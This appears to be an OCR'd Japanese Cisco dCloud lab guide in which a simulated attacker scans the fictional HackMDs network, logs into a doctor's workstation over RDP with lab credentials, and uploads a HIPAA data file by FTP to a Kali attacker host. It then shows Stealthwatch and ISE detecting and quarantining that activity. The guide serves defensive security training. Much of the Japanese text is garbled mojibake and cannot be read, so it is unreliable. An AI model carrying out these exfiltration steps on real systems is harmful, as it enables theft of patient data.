exchange.ad.hackmds.com
scanner.ad hackmds.com
certificate,ad.hackmds.com
frnc.ad hackmds.com
smc.adhackmds.com

[n/a]

[n/a]

[n/s]

[n/a)
amp-disp.ad.hackmds,.com
private-amp.ad.hackmds.com
[n/s]

[n/s]

splunk.ad hackmds.com

=, NN >

‘IP Range 'l o

Ports [0+]
[n/s)
[n/s]
[n/3)
[n/s)
[n/s]
[n/s)
[n/s]
[n/s)
[n/s)
[n/s)
[n/s]
In/s)
[n/s)
[n/s)
In/s)

m

¥:IP 7RLAMEE Angry IP Scanner Mo DIERELGH AR IL. BEICISCTERYET,

3.

IP 7RL'X 198.19.10.101 FTTFARICRAIA—/ILT BHEEKRBNEIZRIEFET , RAMEMBT HE, Thid Dr. Howser D

D—HRT—2avh, BHOMEDHZET—IAT—a  THHRBELRHYET . COT—IRXT—2aV (2K MIEDH S
T=ANEFENTLEN, ZIHLEEDH LT 2R EENMD VAT LATHCRATESEEZONE T, ZITlE. EEAEH
4% HackMDs DI RTHDT—HIAT—avTRILEEBLAIL IRRAT—FIMEREIN TR EADLMNOTNAD T, RIZEDUR

FLNDERYMERAET,
IP
@ 195.19.10.99

@ 195.19.10.100
@ 199.19.10.101

Ping
[n/a]
[n/a]

9 ms

Hosthame
[nfs]
[n/s]

dr.ad.hackmds.com
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[nis]
[nfs]
[n/s]
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ERwvk

{EER(Z&D T, Mr. Brown [FHZT—ANEENTNSEEZLNDAVATLEI DOMREDIFELT=, 1 2(F Wow (198.19.30.100) . £5
1 DI& Dr. Howser M A7 £(198.19.10.101) TY, 198.19.10.101 1=# 3 Dr. Howser M AT LIZEHLET .

1. WoW TRIMYT®D [JE—b TRIMyT (Remote Desktop)] FAALEY) T B, R4—k RE%E91)v- L Tlremote
desktopléA BT BE, Windows TYE—b TRIMNT 7TV 5— a0 hiREET,

2. IP7FLR 198.19.10.101 ZA AL, [##E (Connect)] €0 v ILET,
& Remote Desktop Connection o B 3

| Remote Desktop
"¢ Connection

Computer: 193.19.10.101 w

User name:  HACKMDSh\dhowser

You will be asked for credentials when you connect.

(¥ Show Options [ Connect j [ Help l

3. a—#4£ :dhowser, /SRTJ—K:Clsc012345 TAS AL, [OK] 9w HLET, YE—F aAVE1—2DIBAEERIITEAHLE
WStEFalTq TAVTRRNRREINELS, [IXLV(Yes)] IV ILTHRITLET

Windows Security @ %, Remote Desktop Connection e
\“‘i The identity of the remote computer cannot be verified. Do
\.) you want to connect anyway?

Enter your credentials

These credentials will be used to connect to 198.19.10.101, The remote computer could not be authenticated due to problems with its
security certificate. It may be unsafe to proceed

Certificate name

L5l Name in the certificate from the remote computer
dhowser DR.AD.HACKMDS.COM

| .-o-ooao.ol Certificate erors

The following erors were encountered while validating the remote
computer's certificate

Use another account 1. The certificate is not from a trusted certifying authority.

L

Remember my credentials

Do you want to connect despite these certificate ermors?

Don't ask me again for connections to this computer

[ 0K j l Cancel | View certificate. Yes No |
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4. THTDr. Howser DY AT LIZAYEL =, ROPIZTT K312, TRYMYTIZ HIPAA_Data.mpd EWVST7AILAHYET, Th
DROTWMET—F2THY. COT—2E)E—F b—NITRBSBET, SNEERNLGFETTH. BEOKE T, T—4
T7ANERETDET T BELERYNTI =MD T—42HELET . COSROPTIE. ZOTAEREHEILLET,

HIPAA_Data...

¥ :Cisco Stealthwatch T—4#E%ARRAr OvY FS5—LEMA—F2RKEEIHAHDT7MI/LEL T, HIPPA_Data.mps 771 JLEERAL
F9 . KRR AYY 75—LIE, Stealthwatch ZEAL THEE RN I —IEE=R) T TEHBED . —HERRN TS5V T4RTT,

F—aRH

Mr. Brown [, HackMDs.com ADEBED LV ATLT, BELT—4EHELELz, RIZEZNLDT7AILEE—L H—/RITRHES
HET, ThE Mr. Black ¥, BRFED 1292 —% Web IZEFELET . TOHICIFRBOEMAHYFETH. COTRTIEAZEM
FTP 7 ) —a AL TT—42RABEETLET, 22 TlE FileZilla FTP 9547 b ERLET, UE—F RubT—h0T74
LWERBTEIHEDOPIC. ATILAEOFNEDIELHHYET A, Mr. Brown BT TIC FileZilla FTD 95472 b TGS LEST DY
A—RLTAYRAR—ILLTWLSHDELETS,

F:FileZilla OFLLNA—DaVBMRRENIHE &, BRLTHF v ILL TSN, ST BIGHERIBESYEE A

1. Dr. Howser ®YE—k TRIMYT £yiar T, FileZilla 7A4av &5 TILD)vILET,

2. Filezilla ® GUI AARRENFET , 7RRAKMZ Kali Linux @ IP 7RL' X 198.18.133.6 # AL, 2—¥H % :hacker, /SXT—K:
Clsc012345, iR—b:21 Z$8EL. [V 1 v #k (Quickconnect) ] RALE S wILT FTP 2yl avEBELET . UE—F YAk
MDETIZ home/hacker EWNSTHILEDRRRENET,
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Fz hacker@198.18.133.6 - FileZilla " =10l x|
File Edit View Transfer Server Bookmarks Help

= 2 TR ORO L Tase
Host: |198.18.133.6 Username: Ihad(er Password: quuuu Port: I Quickconnect |V|

Status: Insecure server, it does not support FTP over TLS. :_'

Status: Server does not support non-ASCII characters.

Status: Logged in

Status: Retrieving directory listing...

Status: Calculating timezone offset of server...

Status: Timezone offset of server is 0 seconds.

Status: Directory listing of "/home/hacker” successful v
Local site: | C:\Users\Dhowser\Desktop) | | Remote site: | /home hacker j
Filename ~ l Filesize l Filetype ] Last modified « | | Filen... = I Filesize ‘ Filetype | Last modified I Permissio
€ +REcovER +bugp... 7,051 Chrome HTMLD... 12/14/20179 |_|HIPAA D... 95,652,400 MP4File 12/15/2017 11:... +W—
M +REcovER +bugp... 100,968 PNG image 12/14/2017 9
|| +REcovER +bugp... 2,433 TextDocument 12/14/2017 9
€ +REcoVER Hwkis... 7,051 Chrome HTMLD... 12/4/2017 9:'—

M +REcovER Hwkis... 100,968 PNG image 12/4/2017 9:!

|| +REcovER Hwkis... 2,433 Text Document 12/4/2017 9:!

€ +REcovER +fnx... 7,051 Chrome HTMLD... 12/6/2017 5:!

B +REcovER +rfnx... 100,968 PNG image 12/6/2017 5:!

|| +REcovER +rfnx... 2,433 Text Document 12/6/2017 5:! =

| | o | | 1|
19 files. Total size: 96,208,645 bytes 1 file. Total size: 95,652,400 bytes

3 @ |Queve: empty ee

FE T TICTFAADRERREINTWSIEEEHYET . TDBEETI7MIINEZBEHRAETT . COBEEDOHBTILIVEITICET. AT
Stealthwatch THERTEDLIITHYET , FTP GUI [I/NSKRRESNTWBIGEELHYET . V1V F I TED/N—%FLSVITTHTE
T.HIPAA_data 77/ ILMNRZBEIIZ GUI ZILKTHIENTEET,

3. ERIDIAVRYT, TRIMTIZ7 1AL, HIPAA_Data.mp4 774 /L%, Kali Linux BEH—NIZHDB/\YH—DITHILEIZK
VI LET,

Stealthwatch T HackMDs Z[5{H19 %

WEELLTOIY AVNERSNELZ, BAEILT U ILEFERALTYE—RNS HackMDs R ybT—II27 91X, AERS AT L
#HELT, TOVRATLIZERYRLELT=, HIPAA T—4%4EL. FTP #EAL THESBOKRE Y —/\IZTHVRKR—LELTz, DT —
Al Mr. Black W5 THRGET S EMNTEET,

RIZ, BAEAICYIYE R . Mr. Brown [CKABET—2DRBEHELTHLETS-0OD. 1V TUMIERTYITEETLET , Bl
[Z. Mr. Brown [Z& 2B EEEELEL., thDBREEEL T, Mr. Brown NEALEAZZIEEIIENEEILYES, HELARET,
DRT LT OERSNIZ A EEHETESIET T TLTHRYNT—I LA T/ART—FD yrE{TLN, Mr. Green RENFTHIERT
5. TOMDEFENTZILTUIVILEESICLET,
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CDEETIE, £9 Stealthwatch #FFAL T HackMDs ORIV T—0F T4 L, BEMLEREEFELET . Mr. Brown @
AEvU (R L—FO—EHEITEIEERL S0, TNITEYERTI—LHIMEBIL TV SIZT TY, 1= Stealthwatch (&, HIPAA
PZOMDEET—FERANT HIE YT RYb1ELT, 10 FYrT—IFE=SI T T HEIIEESNTULET , Mr. Brown 12&%
Kali H—/ A\ DRERT /3 f AND R BT, RET /AL ZAMD DR T—IRXT—Lav ~DEHH ., ED .10 Ry T—HI TRHS
NfzZET VE—F TRIUMTESES FTP REICKB A ELY—ERICERTET75— LD MNIH—ShFET,

#E:1dentity Services Engine (ISE) [£. Stealthwatch M EXEDBWTS—LEZITIMA L. FESN-BBZBBMICIRERT 5L5
IZRETEET, TNICONTIELFUA 6 TRY LIFA1=8. ZOLFIFATITBWLELEA,

1. SECHLCT, A—Y 4 administrator, /SR —F:C1sc012345 #{E AL T Jumphost [H#ELET .

2. Web IS5 T SMC 2T #IFST H. TS50 /s —h i [Stealthwatch Management Console] (https://198.19.10.6) [Z7 AL ZE
F o A—H 4% admin, /8RAT—K:Clscol12345 #ERALTRY 1V LET,

Signin

e vertame

admin
Password
..........

.

AL D Stealthwatch Management Console (SMC) &y aR—KBNRREINFET, CDF v aR—FIZE, FEHENBELZ LMDt
Fa)TA ARV TI—LDNASARELTRREINET , COFYRT—Y T—4I& NetFlow ZERT2H5D BT /A1 R (JL—
B AAVTF ARBRIET =) TNAR EF2YTA TIFATUR, DAV LR TINARGE) oo ET,

3. FY ({52 (Recon)] D7 F—LEEVvIL T, RRENDABTEHRL TZEL, FHHITOV T, TOROHIESELTE
él"o

abale - Steglthwatch
CIsco

Monitor
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4. BHOERTIT(ETAHARRENET, 198.19.30.100 N5 AF v BHof-leENbMET, Chld, VATFLNEESI.E
RYRERELGEDHLWV AT LANERSIN TSI EETRLET  HFENT IP PRLRIZEAET S IP PRLR U290y ILET
(AWTFAIAVTIEHYEEA)

Sort by overall severity @

3 Host Address

198.19.30.100 © h

265.127.00 O
10.203.20.166 ©
10.202.27.151 ©
10.202.30.112 ©
10.202.20.152 ©
10650112 ©
10.201.3.18©
10.201.3.149 ©
10.201.3.83 ©

10201350 ©

3 Host Name

workstation-018.

worstation-149.

wokstation-083.

wotkstation-050.

5. ZOIP 7PRLRICEETIRIADERLGLE  RIEDBEEDOHDITITIETADYRMRTEINET , REES KUNEBFS T 1912
DT, [RRMFTI—(Host Summary)]. [E 7HRAN IL—FRINS T 4v% (Traffic by Peer Host Group)]. [#4 TRl 75— 4
(Alarms by Type)]. [1—HE LU twvi 3> (Users & Sessions)]. [7 T r—a> 57194 (Application Traffic)] & D EMF

HELRTSNFT,

Host Repor

Concern Index

Target Index

% First Sert

11/2/17 7:48 PM

812117 12:30 AM

B8i2/17 3:08 AM

8/2/17 3:08 AM

872117 3:21 AM

872117 9:17 PM

81717 9:48 PM

B8/1/17 9:33 PM

8MMT 717 PM

8MMT 717 PM

Recon

S Last Sent

12/20/17 7:05 PM

12/20/17 12:26 PM

12/20/17 10:03 AM

12/20/17 6:08 PM

12/20/17 11:02 AM

12/20/17 424 PM

12/20/17 11:02 AM

12/20/17 11:02 AM

12/20/17 6:30 PM

12/20/17 6:31 PM

5%
1% 1%
7% 53%
1% 1%

Exploitation DDoS Source

Traffic by Peer Host Group (last 1

DDoS Target

Location

BUnknown

H.Unknown

RRFC 1218

B.RFC 1818

HRFC 1918

S.RFC 1918

SLRFC 1918

WE.RFC 1918

RRFC 1218

H.RFC 1918

JB.RFC 1918

Data Hoarding Exfiltration

Policy Violation

Host Groups

End-User Devices

Broadcast

Cateh All

Cateh All

Catch All

Catch All

Catch All

Cateh All

Cateh All

Catch All

Catch All

Anomaly

Flows

Status.
Hostname.
Host Groups
Locafion:
First Seen.
Last Seen
Policies

MAC Address.

Quarantine
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198.19.30.100 -

Classity

Active

Unknown

History

set Devices

11/2117 7:49 PM
4/18/18 8:44 PM

CTR-Traffic,Inside

© Seners

198.19.30

©End-User D

United Sta... ®

Akamai Tec.. ©

Unknown @
Outside Ho... @
Microsoft ... @
Netherland...®

Ireland®

Singapore®

Others (Ou...®

Host Lock Violation

Alarms by Type

416

® Ping_Scan

Desekct All

Recon

Selact A
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6. [BATATS—L(Alarms by Type)] I STI2RIO— LT BE ZORRAMAR A —LE=EBO 75— LHRESNET, Recon §f
{£& Ping_Scan Bk % BAREICHESE TEE T, Ping_Scan BEDN—EHYvITEHE,. FDT7S—LDHBZ TIEENRTINE
¥, Ping_Scan N\—%& 7y LT TNODFHEMER THELLS BNBRLEDIZENHDLD T, H5— F—%#FEALTHEEIC
Ping_Scan Z&#RL TF=ZELY,

Alarms by Type (last 7 days)

Alarms by Type

) '
4014 4018 416

Host Lock Violation @ Ping_Scan Recon

7. [BATHF7S5—L (Alarms by Type)] 2. 198.19.30.100 A% HIPAA HJ vk (198.19.10.0/24) # A ¥ v L= EMNREINET . =
DT I TAET1DEMERER TS HICIE. [FMZEFRR (View Details)] #9)vILET,

Alarms

£ First Active Source Host Groups + Source Target Host Groups 2 Target % Policy £ Evert Alarms 2+ Source User Details :

4/18/18 8:34 PM End-User Devices 188.18.30 100 () - 188.18.10.024 () CTR-Tratfic - T Wiew Details

[F##% R~ (View Details)] £%9')vo9 %L, [Concern Index] BRFEINET , CNIEEF1) T4 ARUDEAATERLET, CDIGE
[ Ping_Scan T9 . COEZDHENBIHICE WV (R TFOHEMLGE)HE ., FBICEZEERIFTAANUD—HTHLIILERLTVE
¥, [Ping_Scan DEIZHHFrOvrED v I T 5L CDAIRUEDFMELT Ping_Scan 7ITAETAORBNRTINET , AE
DROFIETIE. AEREDRAFr> FOHTIETAIZE>TRESNAREENHS 10 RENTTITIETHIThhTLEHESH
ERRLET,

Security Events

All Security Events For 198.19.30.100

SECURITY EVENT COUNT CONCERN INDEX FIRST ACTIVE SOURCE HOST SOURCE HOST GROUP TARGET HOST / TARGET HOST GROUP ACTIONS
=
¥ Ping_Scan 506 1,195,706 04/18 8:34:55 PM > 198.19.10.024 O
DETAILS 2 DESCRIPTION
=Ping The source host ia sending Echo Request packets 1 many hosts with a naturalclsas ¢

network (24) range of addresses. This i often done 10 entdy the active hosts on & network
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8. [#wiam—F (Dashboard)] #49VwoLT [RybT—9tF 2T (Network Security)] ZZIRL ., A2 DH v ah—KIZRY
EX 8

alle - Steglthwatch
CISCO

ashboards Monitor Analyze S Configure

& Secu riWWa rcd (nside Hoats)

9. RIZEBDTS—L 9421 ybERT, 10 RYCT—I LD TNARIZRBELZFENHEINEINERERLET ., BHIL. D%
DIATLDBRF SN, RCUER) ELTRENTWVET , Ff=. 198.19.10.3 VAT ALIZx T S PV RUL—EREMERTEET,
NIE CORYRT—IRIZEELLBWTITAETADHEIEERLET . 3 ~ 5 HkIZ, IP 198.19.10.101 [T LT EX(T—4
RR)TFS—LMNRREINET, ChERARDIBEAHYET, 198.19.10.101 7 vIL T, SOV AT LD EMERERLET  EX
DTAAVTIFHL P PRLRABEREVYVILET,

Top Alarming Hosts

HOST Policy Violation HOST CATEGORY

224% of threshold

10.201.8.18 & m
10.150.1.200 & 'RC | DH | Ex |

View All Hosts >

View All Hosts >

10. EX 75—LDBEREINFIDV AT AIZETIEENSRTEINET  HIPAA T3 ELY—1\D, ARy b T—O LDHRRNE
TR AMIZEHELI-CEERT . ET7 KA T IL—T vV MRFTENET, CRITFEBIZELKIRTT,
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Host Report

Concern Index

Host Summary

]

Flovs

Status.
Hostname
Host Groups
Location
First Seen.
Last Seen
Policies

MAC Address

Quarantine

Target Index Recon cac

Exploitation DDoS Source 0DoS Target Data Hoarding Exdiltration Policy Violation Anomaly

Alarms by Type (last 7 days)

Traffic by Peer Host Group (last 12 hours)

Alarms by Type

198.19.10.101 ¢
Outside Ho... @
Classity History
Inactive @End-User D. ;

198.19.10.

End-User Devi i Unknown © S 2
Unknown a .
1

12117 7:14 PM Germany®
418118 8:38 PM Google, In..@

United Sta.. @

0 0 0 0 0 0
CTR-Traffic,Inside 1 1 17
anz ane 415 4016 an an
# Host Lock Violation @ Suspect Data Loss
Data Exfiltration
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11. TABICRIO—)LTEE VE—F TRIUMNTREZESTTIVr—ay T—AREHERTEET HIPAA Ry T—IRDSY TS
T2 E—FSTIERSN TR ERN LAY ET, LNZENVIKIETT,

External

Application Traffic

Internal

ote Desktop Total % Sent Ratio Received 7-day Trend 24-hour Trend
nection
e 272MB 9200 [29MB
V or
Undefined...  249.39KB  8.00 163.2KB l
' ‘
ICMP 511B <0.01 [ 2858 .

X7V —ar 741 NetFlow IZTEhSEFEND T —2TIEHYEE A, 55T Cisco Stealthwatch Sensor #&8$H5HZET. &
URELIZ7 TV —ay T—4%BMNTHIENTEET, Cisco Stealthwatch Sensor (&, ZA—%HHR—FLTLVEN SR T LMD
DOMISNTWEWSST199 T—45% NetFlow [TEHRTHIEMNTEET , 3#MIC DUV TIL. www.cisco.com/go/stealthwatch %58
LTLEZEW FHLWLWAN—a0 Do Ra RAyF (&, NetFlow IZ7 TV r—ay T—A4% MM 2L TOET,

12. [f@# (Quarantine)] U2 9E IV T NIECDI—HEHIRTHIENTEET M RO F)A T ISE DIEEHEEZHALET O
THIBRLZWLTLIZEL, 2O (BB (Quarantine)] RV (&, 2—H D [[RAMFT)—(Host Summary)] D FIZHYES . RE%EH
Do dBE ROEDS1—ILTERT 2D ERABDOREBEENERINET, ISE CTORBEIXMISHLTHLRETEET,

125/195 R—<
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Cisco dCloud
|

Host Summary

198.19.10.101 ¢

Flows Classify Histon

Status: Inactive
Hostname:

Host Groups:

Location: Unknown

First Seen: 2117 714 PM
Last Seen: 4/27/18 7:34 PM
Policies: CTR-Traffic Inside

MAC Address; /
=

Quarantine !

NEDARVMEENE ERBBEORRAICHEYET, SOLETITAETAZEHAEHLEDZLET, EXEDEL Concern Index(Cl)
HY Cisco Identity Services Engine (ISE)HE DL AT LIZCEEIMIZEMSh ., BECREENABBMNIZITHhAET,

Stealthwatch GUI [ZIXZ DT —aMNRTINET M. Stealthwatch Java 7TV —avEBINTAIET, EXal)Ta 1RURD
FYRT—H ARV DHEMMNESIZRTEINET , B ELSKRTIX, Stealthwatch java 7T —LavEBHRIERT L TEET,

¥ : Stealthwatch THRHINI=A R RZIE, Cisco ISE HEDY—ILED BEIMEHSIZE>THIETEET , F U4 7 TIL. pxGrid
BIEZHEALT Cisco ISE H—/\[ZHE#EL . Cisco Firepower HRHLI-BEHZ HEMIZHIBRT LT, COWSERIILET , Cisco
Stealthwatch & Cisco ISE DR EEFE->T={RLEREZ. pxGrid HIGDMDIEEY—ILEFRALTERETSELTEET,

BELR—F R 57K - Stealthwatch Z{#E AL T HackMDs %5135

1. Jumphost [Z3EELET

2. SMC #2819 3T AT FALavuEs)voLET,

F:dava 7N —La v DEFERTEENR RTINS, [ T(Later)] 27y ILTHEITLET,

3. Web HAMAMEHETELNILERTESEAvE—UMNKRTRSNT5, [#1T (Continue)] &7 vILTHRITLET
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Do you want to Continue?
The connection to this website is untrusted.

: ! 5 Website: https://192,168.30.6:443

Note: The certificate is not valid and cannot be used to verify the identity of this website,
More Information

Do you want to run this application?

(( Publisher: Lancope, Inc
= Locations: https://192.168.30.6
Launched from downloaded INLP file

This application will run with unrestricted access which may put your computer and personal
information at risk. Run this application only if you trust the locations and publisher above.

6 More Information Cancel '

4. a—#H4g:admin, /SRT—FK:Clsc012345 Z{#F AL T. Stealthwatch EEa>y—)LIcaAd 12 LET,

N\
STEALTH _
WATCH

SMC

Username: E; Password: I“‘“‘*‘*‘

LOGIN
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5. AL ® Stealthwatch Management Console (SMC) 4w aiR—FhF RSN ET , ZAIIZIE. NetFlow % Stealthwatch Collector
I274—FF 3R T—0 TINARE ISR TUWVEWNST1Y9% NetFlow IZZE#d 5 Stealthwatch 29 —DUXAIHY F
T BEIL VDD [+] REEI)VILTYRNEERT &, SOITTNAANKRTEINET,

3

= g SMC
- (U Stealthwatch Labs Intelligence Center
&% UDP Directors

=ty dCloud

=] &3 Host Groups
P Inside Hosts h
1%, Outside Hosts
&, Outside Host

@, .£. Bogon
@, L. Command & Control Servers
Q. Custom Reputation List

@, L. Tor
[} & Network Devices h
% Interface Groups

¥ 198.19.40.253
¥ asa-firewall
254 ashv

&&= core-switch-1
& proxy-sw

<& trust-sw

&= wan01

Maps
{5 FlowCollectors h
=) G FCNF

& '-L-Q Exporters
& core-switch-1
% Asa-firewall
&= wan01
<& trust-sw
& proxy-sw
25 asav
% 198.19.40.253
& @FlowSensors
(& 198.19.10.8
;% Identity Services
= aExternaI Devices

H-3-3-6

[+

€

< B-E5-E-E-E-0-E

m-#

+
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o

BEEARICHZI7+—LICIE. 2 DDAY BTBHYET . 1 DI [SOC - FS5T74v9-EHT—A(SOC - Traffic - Patient
Data)]. 5 1 DI& [Y1/\—& B (Cyber Threats)] TY . [Y1/3\—& B (Cyber Threats)] [&. FYbT—U&EEE=F) T TS
By aR—KTY,[SOC - F5T71v9-8ET—4(SOC - Traffic - Patient Data)] [, HIPAA T—A2EFh BB RYET—H
RIEEZAIVTTEE9aR—FTT, FNICKYEBEIX. ECRRLDBRIBRNELR DRI T —IEBHICEETED LS
IZHYES, [SOC - 5749 49-8ET—4(SOC - Traffic - Patient Data)] 27 &)y LTRTWEEY , CCHLIAHIDIE,
198.19.10.101 IZ& A T—2RBORITICEHT 2 RELEEZN, GUI ITTRSATLST=HTT,

8 StealthWatch Management Console {admin - 198.19.10.6)

File Edit View Top Status Security Hosts Traffic Reports Flows Configuration Help /

B
B SMC
E ° StealthWatch Labs Inteligence Center
(% UDP Directors
= 'ty dCloud = =
=} ) Host Groups (IR |
g
2% Lnﬂde Ht;sts" Host Groups CI% s Alerts s
& ,g ::::s;:nent Testing Catch Al workstation-083 364% [N | Ping Oversized Packet, TCP Scan |+
10.201.3.83
[ ¥ By Function ! !
- %P By Location Catch Al workstation-050 359% [N  Spoof, TCP Scan, Traces
5 ¥R (10.201.3.50)
- %P DMZ Catch Al workstation-149 276% [N | Ping, Port Scan, Spaof, TCP Scan
4 End-User Devices (10.201.3.149)
’éB Servers Catch all 10.40.10.254 191% [ TCP Scan
- ’@B VPN Users
’%D Protected Asset Monitoring Catch all 10.90.10.254 191% [ TCP Scan
@P‘ P Trapped Hosts - Honeypot Catch Al 10.20.10.254 161% [ TCP Scan
=) %, Outside Hosts
- @, Authorized External DNS Servers Catch Al 10.30.10.25¢ 151% [N TCP Scan
S % Eontin't s Catch Al 10.110.10.254 172% [ TCP Scan
N ountries
- @, Outside Host Catch all 10.80.10.254 155% [ TCP Scan
. Ei &:" ;:'gs;:d Intermetosts Catch Al 10.100.10.254 1479 [ TCP Scan
e
AR, .£. Command & Control Servers Cakeh all 1070 10 984 1970/, TFD Gran LI

7. [SOC - +524vH-EET—4R(SOC - Traffic — Patient Data)] 27 &2 vk, [77—LHY<)—(Alarm Summary)] 275Uy
DFBE XYRT—VRAD SOC [ZTA—HALTZES (HIPAA SR T LDBFHEE) IZOWT  MED X2 T1 75— LHRRS
NFET,GUI ITRENT=HD LEELT BT —FE R TEET . COHITIE, 198.19.10.101 [ZTF—EF/EMARLNET, FRLR
198.19.10.101 XTIV w9 %L, HEMARTINET,

/] SOC - Traffic - Patient Data X | (/] Cyber Threats

0 Alarm Summary | 4 Network | g Security | 40 Recon | | Host Lodl
Source Alarm Types, Today'

Host Lock Vi...

Suspect Data...

Data Exfiltr...

Ping_Sc
Recon )
able, Source Ho oday - 4 record o
Source Host < |Alarm Co... ™! Alarm Types s
198.19.10.3 v Recon, Host Lock Yiolation
198.19.30.100 \g > S|  Ping Scan, Recon, Host Lock
( Violation
198.19.10.101 2 | Suspect Data Loss, Data Exfiltration
198.19.10.15 1 Recon
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8. ZORALD IP PRLRADFHMZETRYT . REBOITHHYET, ZD [LEIDT7HT+7 70— (Top Active Flows)] IZ[E, RR K
198.19.30.100(4+&B) SR 198.19.10.101 HIPAA ;RARAY, 7R— 3389 #2H T RDP i E 1T o TSI EATREINTVET,
ROGEIE. BFIBIZHREVET,

| Identity, DHCP & Host Notes | | Exporter Interfaces |

=0
Start Active Time v2| ThisH... ¢ Connected To & ... % |Prot... $ | Service % |Byte.gv?|Byt... S |Av..."!|RT... $|SR... &
Feb 17, 2018 12:11:53 PM Server 198.19.30.100 End-User udp Undefined 1.74k| 98.26k| 1.07k
(1 hour 1 minute 52s ago) Devices UDP/3389
Feb 17, 2018 1:11:05 PM Server 198.19,30,100 End-User tep remote-deskko 749 93
(2 minutes 40s ago) Devices

9. [EFaUToA4RUr(Security Events)] #7% 5w LET ([EF 21T« (Security)] 2T TlEHYEHEA) . HackMDs RykT—%
SED IP PRLAHD, RDP #EHEDERICHDHENHLMET, ZDOHITIL 198.18.133.6 TT,

Y Filter Q Domain @ d(
& Host 9.10.101

| Identification | | | Alarms | | Security | | Security Events | | Top Active Flows | | Identity, DHCP & Host Notes | || Exporter Interfaces |

CE)

Start Active Time < Last Active Time % |Target Host G... & Target Host < |Co... 71 Security Events  $
Feb 17, 2018 12:45:00 PM Feb 17, 2018 12:45:00 PM Multiple Hosts 113,452 | Suspect Data Loss{1) ﬂ
(28 minutes 45s ago) (28 minutes 45s ago)
Feb 17, 2018 11:59:55 AM Feb 17, 2018 12:38:04 PM Outside Host, 198.18.133.6 48,606 | Connection To Bogon
(1 hour 13 minutes S0s ago) (35 minutes 41s ago) Address Attempted(6)
Feb 17, 2018 12:00:56 PM Feb 17, 2018 12:40:06 PM Outside Host, 198.18.133.6 28,802 | Connection To Bogon
(1 hour 12 minutes 49s ago) (33 minutes 39s ago) Address Successful(2)
Feb 17, 2018 12:00:56 PM Feb 17, 2018 12:00:56 PM Outside Host, 198.18.133.6 S |Resetftcp-21(2) pal
(1 hour 12 minutes 49s ago) (1 hour 12 minutes 49s ago)

Host is Target of Security Events (Most Recent) - 1 record

Start Active Time Last Active Time Source Host Security Events

Feb 17, 2018 11:57:15 AM Feb 17, 2018 12:40:27 PM End-User Devices 198.19,30.100 128,004 |Host Lock
(1 hour 16 minutes 30s ago) (33 minutes 18s ago) Violation-3389(4)

10. NetFlow (XIEZFDEF A, COEEDERIZHDH1L—Y THOUEHEFET BIZ(E, [ID. DHCP, FRR+/—k (Identity, DHCP &
Host Notes)] #7%51)yo LT, 2—H & H dhowser THHEEHERLET

(4} 5OC - Traffic - Patient Data X | [#) Cyber Threats X | [¥] 198.19.10.101 X

Y Filter ’Si Domain : dCloud ® Time : Today
& Host 10,101

|| Identification | || Alarms | || Security | || Security Events | || Top Active Flows l || Identity, DHCP & Host Notes ] || Exporter Interfaces

Identity and Device Table - 1 record

Start Active Time End Active Time | User Name MAC Address Device Type
Jan 8, 2018 7:14:41 PM Current | dhowser
(7 days 15 minutes aga)
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11. [SOC - F574v5-BET—R(SOC - Traffic - Patient Data)] 47 4> RKIIZRY . [{E2(Recon)] #7&5vod 5L,
Mr. Brown ELTHERRLTIZRFvY FOTAETAMRTEINET , Tl HIPAA RybD—IATHRELTLNSER—F RF DL
NIVIZE®RLES,

SOC - Traffic - Patient Data X | (] Cyber Threats X | [4) 198.19.10.101 x|

Y Filter Q Domain : dCloud

\a Alarm Summary | 44 Network | 44 Security | 44 Recon | || Host Locking |

Security Events, Summary of Source Host CI Points Chart

198.19.10.3

CSU)
Start Active Time < |Source Host... 3 Source Host & |Target Host G... & | Target Host +2| Co... ™! Security Events :
Feb 17, 2018 12:01:25 AM Servers 198.19.10.3 End-User Devices | 198.19.30,102 | 24,33... |Port Scan(2,253)
(13 hours 39 minutes 40s ago)
Feb 17, 2018 12:01:25 AM Servers 198.19.10.3 End-User Devices | 198.19,30.100 | 22,57... Port Scan{2,090)
(13 hours 39 minutes 40s ago)
Feb 17, 2018 12:01:25 AM Servers 198.19.10.3 DMZ 198.19.20.5 | 22,54... |Port Scan(2,087)
(13 hours 39 minutes 40s ago)
Feb 17, 2018 12:01:25 AM Servers 198.19.10.3 DMZ 198.19.20.8 22,54... |Port Scan(2,087)
(13 hours 39 minutes 40s ago)
Feb 17, 2018 12:01:12 AM Servers 198.19.10.3 VPN Users 198.19.40.63 | 3,413... | Port Scan(316)
(13 hours 39 minutes 53s ago)

12. [EFa)T1(Security)] 2TEH9I T BE HIPAA 2ybT—IRODEL 198.19.10.3 T/AA AR F YU IZEFRLTWSI LD D
MYFET, [[RRFAYY (Host Locking)] 27%& 57 w03 5L JE—k TRAYMYT (RDP)ERMNFEELIZCENDOMYET,

SOC - Traffic - Patient Data X | [] Cyber Threats x| [4) 198.19.10.101 x|

Y Filter Q Domain : dCloud

‘N&m&lmuyl‘ﬂetwk|‘5xwty|‘Recon|,_]Hostlod¢m

0 0 q 3 Da =2Cord
MName & | Description < | Client Host Group < | Server Host Gr... & Allow/Disallow % Exceptions % |Unidirectio... %
Lateral-RDP CTR CTR v 4 Services: tcp
allow Al remote-desktop
Inbound-RDF Qutside Hosts CTR v Services: tcp
allow Al remote-desktop
Lateral-RDP Inside Hosts CTR v 4 Services: tcp
allow Al remote-desktop
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13. [SOC - 574y -BET—4R(SOC - Traffic - Patient Data)] 27 I1ZRY. 75—L4A Y7 —Z2HEKZELET ., SHEIK [T—424E
£ DEELY (Suspect Data Loss) | &9V v ILET . BT S7DEF, FlIZRIREERLIBENHBYET,

SOC - Traffic - Patient Data X | (] Cyber Threats X | (4] 198.19.30.100 X | [¢] Alarm Table X |

Source Alarm Types, Today

Suspect Data...

Recon

Suspect Long...

Mew Flows In...

UDP Flood

Data Exfiltr...

Ping_Scan

14. HIPAA YT —IMbiRERENST —FELTHESN-T N TRENET BRI 51— (L dhowser THAHLEHERTE

79,
abie eCorg =1

M| 4% |572| Policy % |StartActiv... % | Alarm % | Source % |SourceHost...# |Source... % | Target # |Target..® Details s

Q CTR-Traffi Feb 17, 2018 |Suspect |198.19.10.1 End-User dhowser | Multiple Observed 210.1M

12:45:00 PM Data Devices, Hosts bytes.

{1 hour 5 Loss Servers Policy maximum

minutes 21s allows up to 20M bytes.
ago)
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15. COTF—2BERARVIDOHEMERTT BHIZIE, dhowser DAVE21—4D IP PRL X (198.19.10.101) #H )y LT [E7 vs
R—b(Peer vs Port)] Z:8IRLET , AINEBETODINNREMITREINET,

198.19.10.101 End-User Devices, dhowser Multiple Hosts
Quick View This Row

